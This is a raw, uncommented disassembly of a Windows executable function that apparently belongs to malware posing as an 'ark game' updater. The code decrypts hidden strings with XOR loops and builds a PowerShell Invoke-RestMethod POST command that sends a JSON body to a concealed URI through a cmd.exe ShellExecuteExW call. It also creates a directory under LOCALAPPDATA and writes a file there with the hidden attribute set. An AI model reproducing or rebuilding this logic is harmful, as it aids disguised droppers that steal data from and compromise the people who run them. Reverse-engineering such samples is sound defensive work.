lea rcx, [rbp + 0x88]
call fcn.140027380
nop
lea rcx, [rbp - 0x80]
call fcn.140027380
nop
lea rcx, [rbp - 0x38]
call fcn.140027380
nop
lea rcx, [rbp - 0x58]
call fcn.140027380
nop
lea rcx, [rsp + 0x60]
call fcn.140027380
nop
lea rcx, [rbp + 0x498]
call fcn.140027380
nop
lea rcx, [rbp + 0x478]
call fcn.140027380
nop
lea rcx, [rbp + 0x438]
call fcn.140027380
nop
lea rcx, [rbp + 0x458]
call fcn.140027380
mov r8d, 0x104
lea rdx, [rbp + 0x660]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rbp + 0x660]
lea rcx, [rbp + 0x530]
call fcn.140027150
nop
lea rdx, [rbp + 0x388]
lea rcx, [rbp + 0x530]
call fcn.140026ff0
mov r8, qword [rax]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x530]
call fcn.140027010
mov rdx, qword [rax]
lea rcx, [rbp + 0x498]
call fcn.140028760
nop
lea r8, [rbp + 0x598]
lea rdx, str.powershell__Command___body___content__
lea rcx, [rsp + 0x60]
call fcn.140028600
nop
lea r8, str.__ConvertTo_Json__Invoke_RestMethod__Uri_
mov rdx, rax
lea rcx, [rbp + 0x438]
call fcn.140028240
nop
lea r8, [rbp + 0x5c0]
mov rdx, rax
lea rcx, [rbp + 0x458]
call fcn.140028240
nop
lea r8, str.__Method_Post__Body__body__ContentType_application_json_
mov rdx, rax
lea rcx, [rbp + 0x550]
call fcn.140028240
nop
lea rcx, [rbp + 0x458]
call fcn.140027380
nop
lea rcx, [rbp + 0x438]
call fcn.140027380
nop
lea rcx, [rsp + 0x60]
call fcn.140027380
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x550]
call fcn.1400272c0
mov r8, qword [rax]
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x550]
call fcn.1400272e0
mov rdx, qword [rax]
lea rcx, [rbp + 0x478]
call fcn.1400291b0
nop
lea r8, [rbp + 0x478]
lea rdx, [0x1400336a0]
lea rcx, [rbp + 0x570]
call fcn.140028d10
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3a0], xmm0
movups xmmword [rbp + 0x3b0], xmm0
movups xmmword [rbp + 0x3c0], xmm0
movups xmmword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm0
movups xmmword [rbp + 0x400], xmm0
mov dword [rbp + 0x3a0], WSACleanup
mov dword [rbp + 0x3a4], 0x40
mov qword [rbp + 0x3a8], r14
lea rax, str.open
mov qword [rbp + 0x3b0], rax
lea rax, str.cmd.exe
mov qword [rbp + 0x3b8], rax
lea rcx, [rbp + 0x570]
call fcn.140026fe0
mov qword [rbp + 0x3c0], rax
mov qword [rbp + 0x3c8], r14
mov dword [rbp + 0x3d0], r14d
mov qword [rbp + 0x3d8], r14
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x408]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x408]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm0, xmmword [0x1400354f0]
movups xmmword [rbp + 0x4d0], xmm0
movups xmm1, xmmword [0x140035500]
movups xmmword [rbp + 0x4e0], xmm1
movups xmm0, xmmword [0x140035510]
movups xmmword [rbp + 0x4f0], xmm0
movups xmm1, xmmword [0x140035520]
movups xmmword [rbp + 0x500], xmm1
movups xmm0, xmmword [0x140035530]
movups xmmword [rbp + 0x510], xmm0
movzx eax, byte [0x140035540]
mov byte [rbp + 0x520], al
mov r8d, r14d
cmp esi, 2
jl 0x140008b55
movdqa xmm5, xmmword [0x140036070]
movdqa xmm4, xmmword [0x1400360d0]
movdqa xmm6, xmmword [0x140036090]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rbp + 0x410], xmm0
lea rcx, [rbp + 0x4d4]
mov edx, dword [rbp + 0x410]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x140008a50
cmp r8d, 0x51
jge 0x140008ba0
movsxd rax, r8d
lea r9, [rbp + 0x4d0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x51
jl 0x140008b70
movups xmm0, xmmword [0x1400351f8]
movups xmmword [rsp + 0x40], xmm0
movzx eax, word [0x140035208]
mov word [rsp + 0x50], ax
movzx eax, byte [0x14003520a]
mov byte [rsp + 0x52], al
mov r8d, r14d
cmp esi, 2
jl 0x140008d07
movdqa xmm5, xmmword [0x140036070]
movdqa xmm4, xmmword [0x1400360d0]
movdqa xmm6, xmmword [0x140036090]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rbp + 0x410], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rbp + 0x410]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140008c02
cmp r8d, 0x13
jge 0x140008d50
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140008d20
movups xmm0, xmmword [str.eVQQRV_f]
movups xmmword [rsp + 0x20], xmm0
movzx eax, word [0x140035bb8]
mov word [rsp + 0x30], ax
movzx eax, byte [0x140035bba]
mov byte [rsp + 0x32], al
mov r8d, r14d
cmp esi, 2
jl 0x140008eb7
movdqa xmm5, xmmword [0x140036070]
movdqa xmm4, xmmword [0x1400360d0]
movdqa xmm6, xmmword [0x140036090]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rbp + 0x410], xmm0
lea rcx, [rsp + 0x24]
mov edx, dword [rbp + 0x410]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140008db2
cmp r8d, 0x13
jge 0x140008f00
movsxd rax, r8d
lea r9, [rsp + 0x20]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140008ed0
lea r8, str.LOCALAPPDATA
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x390]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
mov rdx, qword [rbp + 0x390]
test rdx, rdx
je 0x1400090c4
lea rcx, [rbp + 0x458]
call fcn.140004080
nop
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x58]
call fcn.140004080
mov rbx, rax
lea rdx, [rbp + 0x458]
lea rcx, [rsp + 0x60]
call fcn.140028110
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x438]
call fcn.1400282b0
nop
lea rcx, [rsp + 0x60]
call fcn.140027380
nop
lea rcx, [rbp - 0x58]
call fcn.140027380
lea rcx, [rbp + 0x438]
call fcn.140009350
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140008fbb
lea rcx, [rbp + 0x438]
call fcn.140009350
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x1400090a9
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.140004080
mov rbx, rax
lea rdx, [rbp + 0x438]
lea rcx, [rbp - 0x38]
call fcn.140028110
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x410]
call fcn.1400282b0
nop
lea rcx, [rbp - 0x38]
call fcn.140027380
nop
lea rcx, [rbp - 0x80]
call fcn.140027380
lea rcx, [rbp + 0x410]
call fcn.140009350
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x14000903f
lea rcx, [rbp + 0x410]
call fcn.140009350
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x14000903f
lea rdx, str.Failed_to_update_close_ark_game_and_try_again
jmp 0x140009086
call fcn.1400041c0
test al, al
je 0x14000907f
lea rcx, [rbp + 0x410]
call fcn.140009350
mov rdx, rax
lea rcx, [rbp + 0x4d0]
call fcn.140009360
lea rcx, [rbp + 0x410]
call fcn.140009350
mov rcx, rax
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x14000909c
lea rdx, str.You_are_not_connected_to_the_Internet._Please_check_your_connection.
lea r8, str.Erreur
mov r9d, 0x10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
lea rcx, [rbp + 0x410]
call fcn.140027380
nop
lea rcx, [rbp + 0x438]
call fcn.140027380
nop
lea rcx, [rbp + 0x458]
call fcn.140027380
jmp 0x1400090e1
mov r9d, 0x10
lea r8, str.Erreur
lea rdx, str.Failed_APP_file_2
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rbp + 0x588]
cmp rdx, 7
jbe 0x14000912a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x570]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009125
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009125
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
movdqa xmm0, xmmword [0x140036050]
movdqu xmmword [rbp + 0x580], xmm0
mov word [rbp + 0x570], r14w
mov rdx, qword [rbp + 0x490]
cmp rdx, 7
jbe 0x14000918c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x478]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009186
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009186
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
nop
mov rdx, qword [rbp + 0x568]
cmp rdx, 0xf
jbe 0x1400091d0
inc rdx
mov rcx, qword [rbp + 0x550]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400091cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400091cb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
movdqa xmm0, xmmword [0x140036060]
movdqu xmmword [rbp + 0x560], xmm0
mov byte [rbp + 0x550], 0
mov rdx, qword [rbp + 0x4b0]
cmp rdx, 0xf
jbe 0x14000922c
inc rdx
mov rcx, qword [rbp + 0x498]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009226
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009226
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
nop
mov rdx, qword [rbp + 0x548]
cmp rdx, 7
jbe 0x140009275
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009270
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009270
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
movdqa xmm0, xmmword [0x140036050]
movdqu xmmword [rbp + 0x540], xmm0
mov word [rbp + 0x530], r14w
mov rdx, qword [rbp + 0x5b0]
cmp rdx, 0xf
jbe 0x1400092d2
inc rdx
mov rcx, qword [rbp + 0x598]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400092cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400092cc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
nop
mov rcx, qword [rbp + 0x4b8]
test rcx, rcx
je 0x140009319
mov rdx, qword [rbp + 0x4c8]
sub rdx, rcx
and rdx, 0xfffffffffffffff8
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009314
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009314
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov rcx, qword [rbp + 0x870]
xor rcx, rsp
call fcn.14002dd50
lea r11, [rsp + 0x990]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret